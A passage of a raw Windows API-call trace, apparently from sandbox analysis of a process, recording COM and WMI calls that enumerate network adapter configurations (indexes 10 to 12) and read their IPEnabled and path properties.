IUnknown:QueryInterface (in: This=0x8bf808, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.713] IUnknown:QueryInterface (in: This=0x8bf808, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.713] IUnknown:QueryInterface (in: This=0x8bf808, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8bf80c) returned 0x0 [0272.713] IMarshal:GetUnmarshalClass (in: This=0x8bf80c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.713] IUnknown:Release (This=0x8bf80c) returned 0x3 [0272.713] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.713] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.713] IUnknown:QueryInterface (in: This=0x8bf808, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.713] IUnknown:Release (This=0x8bf808) returned 0x2 [0272.713] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.713] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.713] IUnknown:QueryInterface (in: This=0x8bf808, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8bf808) returned 0x0 [0272.713] IUnknown:AddRef (This=0x8bf808) returned 0x4 [0272.713] IUnknown:Release (This=0x8bf808) returned 0x3 [0272.713] IUnknown:Release (This=0x8bf808) returned 0x2 [0272.713] CoTaskMemFree (pv=0x8a2fb8) [0272.714] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.714] IUnknown:AddRef (This=0x8bf808) returned 0x3 [0272.714] IWbemClassObject:Get (in: This=0x8bf808, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.714] IWbemClassObject:Get (in: This=0x8bf808, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=10", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.714] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=10") returned 0x84 [0272.714] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=10") returned 0x84 [0272.714] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b8 [0272.714] SetEvent (hEvent=0x2c4) returned 1 [0272.714] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3b8, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.717] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.717] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.717] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbe38, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbe38) returned 0x0 [0272.717] WbemDefPath:IUnknown:AddRef (This=0x8bbe38) returned 0x3 [0272.717] WbemDefPath:IUnknown:Release (This=0x8bbe38) returned 0x2 [0272.717] WbemDefPath:IWbemPath:SetText (This=0x8bbe38, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=10") returned 0x0 [0272.717] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.717] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.717] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.717] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.717] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.717] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.717] IWbemClassObject:Get (in: This=0x8bf808, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257bb04*=0, plFlavor=0x257bb08*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257bb04*=11, plFlavor=0x257bb08*=0) returned 0x0 [0272.717] IWbemClassObject:Get (in: This=0x8bf808, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257bb04*=11, plFlavor=0x257bb08*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257bb04*=11, plFlavor=0x257bb08*=0) returned 0x0 [0272.718] IUnknown:Release (This=0x8bf808) returned 0x2 [0272.718] CoTaskMemAlloc (cb=0x4) returned 0x8a3008 [0272.718] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a3008, puReturned=0x2575b1c | out: apObjects=0x8a3008*=0x8c64b8, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.771] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8c64b8) returned 0x0 [0272.771] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.771] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.771] IUnknown:AddRef (This=0x8c64b8) returned 0x3 [0272.771] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.771] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.771] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8c64bc) returned 0x0 [0272.771] IMarshal:GetUnmarshalClass (in: This=0x8c64bc, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.771] IUnknown:Release (This=0x8c64bc) returned 0x3 [0272.771] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.771] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.771] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.772] IUnknown:Release (This=0x8c64b8) returned 0x2 [0272.772] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.772] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.772] IUnknown:QueryInterface (in: This=0x8c64b8, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8c64b8) returned 0x0 [0272.772] IUnknown:AddRef (This=0x8c64b8) returned 0x4 [0272.772] IUnknown:Release (This=0x8c64b8) returned 0x3 [0272.772] IUnknown:Release (This=0x8c64b8) returned 0x2 [0272.772] CoTaskMemFree (pv=0x8a3008) [0272.772] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.772] IUnknown:AddRef (This=0x8c64b8) returned 0x3 [0272.772] IWbemClassObject:Get (in: This=0x8c64b8, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.772] IWbemClassObject:Get (in: This=0x8c64b8, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=11", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.773] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=11") returned 0x84 [0272.773] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=11") returned 0x84 [0272.773] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3bc [0272.773] SetEvent (hEvent=0x2c4) returned 1 [0272.773] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3bc, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.776] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.776] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbea8, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbea8) returned 0x0 [0272.776] WbemDefPath:IUnknown:AddRef (This=0x8bbea8) returned 0x3 [0272.776] WbemDefPath:IUnknown:Release (This=0x8bbea8) returned 0x2 [0272.776] WbemDefPath:IWbemPath:SetText (This=0x8bbea8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=11") returned 0x0 [0272.776] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.776] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.776] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.776] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.776] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.776] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.776] IWbemClassObject:Get (in: This=0x8c64b8, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257c390*=0, plFlavor=0x257c394*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257c390*=11, plFlavor=0x257c394*=0) returned 0x0 [0272.776] IWbemClassObject:Get (in: This=0x8c64b8, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257c390*=11, plFlavor=0x257c394*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257c390*=11, plFlavor=0x257c394*=0) returned 0x0 [0272.776] IUnknown:Release (This=0x8c64b8) returned 0x2 [0272.776] CoTaskMemAlloc (cb=0x4) returned 0x8c0660 [0272.777] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8c0660, puReturned=0x2575b1c | out: apObjects=0x8c0660*=0x8c6650, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8c6650) returned 0x0 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.808] IUnknown:AddRef (This=0x8c6650) returned 0x3 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8c6654) returned 0x0 [0272.808] IMarshal:GetUnmarshalClass (in: This=0x8c6654, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.808] IUnknown:Release (This=0x8c6654) returned 0x3 [0272.808] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.808] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.808] IUnknown:Release (This=0x8c6650) returned 0x2 [0272.808] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.808] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.808] IUnknown:QueryInterface (in: This=0x8c6650, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8c6650) returned 0x0 [0272.808] IUnknown:AddRef (This=0x8c6650) returned 0x4 [0272.809] IUnknown:Release (This=0x8c6650) returned 0x3 [0272.809] IUnknown:Release (This=0x8c6650) returned 0x2 [0272.809] CoTaskMemFree (pv=0x8c0660) [0272.809] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.809] IUnknown:AddRef (This=0x8c6650) returned 0x3 [0272.809] IWbemClassObject:Get (in: This=0x8c6650, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.809] IWbemClassObject:Get (in: This=0x8c6650, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=12", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.809] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=12") returned 0x84 [0272.809] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=12") returned 0x84 [0272.809] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c0 [0272.809] SetEvent (hEvent=0x2c4) returned 1 [0272.809] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3c0, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.817] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.817] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbf18, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbf18) returned 0x0 [0272.817] WbemDefPath:IUnknown:AddRef (This=0x8bbf18) returned 0x3 [0272.817] WbemDefPath:IUnknown:Release (This=0x8bbf18) returned 0x2 [0272.817] WbemDefPath:IWbemPath:SetText (This=0x8bbf18, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=12") returned 0x0 [0272.817] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.817] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.817] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.817] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.817] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.818] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.818] IWbemClassObject:Get (in: This=0x8c6650, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257cc10*=0, plFlavor=0x257cc14*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257cc10*=11, plFlavor=0x257cc14*=0) returned 0x0 [0272.818] IWbemClassObject:Get (in: This=0x8c6650, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257cc10*=11, plFlavor=0x257cc14*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257cc10*=11, plFlavor=0x257cc14*=0) returned 0x0 [0272.818] IUnknown:Release (This=0x8c6650) returned 0x2 [0272.818] CoTaskMemAlloc (cb=0x4) returned 0x8c06b0 [0272.818] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8c06b0, puReturned=0x2575b1c | out: apObjects=0x8c06b0*=0x8c67e8, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8c67e8) returned 0x0 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.822] IUnknown:AddRef (This=0x8c67e8) returned 0x3 [0272.822] IUnknown:QueryInterface (in: This=0x8c67e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, 